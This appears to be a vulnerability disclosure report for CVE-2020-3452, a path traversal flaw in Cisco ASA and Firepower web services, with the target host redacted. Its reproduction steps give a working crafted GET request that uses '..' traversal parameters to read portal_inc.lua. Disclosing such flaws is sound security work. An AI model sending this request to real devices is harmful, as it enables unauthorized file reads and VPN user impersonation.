Unathenticated file read (CVE-2020-3452)

How it was found

Description: A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device.

References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86 https://www.rapid7.com/blog/post/2020/07/23/cve-2020-3452-cisco-asa-firepower-read-only-path-traversal-vulnerability-what-you-need-to-know/

Impact

Impact An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. As an example, this could allow an attacker to impersonate another VPN user and establish a Clientless SSL VPN or AnyConnect VPN session to the device as that user. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.

System Host(s)

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Affected Product(s) and Version(s)

CVE Numbers

CVE-2020-3452

Steps to Reproduce

1.) Perform the following GET request: GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua HTTP/1.1 Host: ██████ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F Connection: close Accept: / Accept-Language: en Accept-Encoding: gzip, deflate, br

2.) The response will contain contents of portal_inc.lua

Suggested Mitigation/Remediation Actions

Cisco has released software updates that address this vulnerability.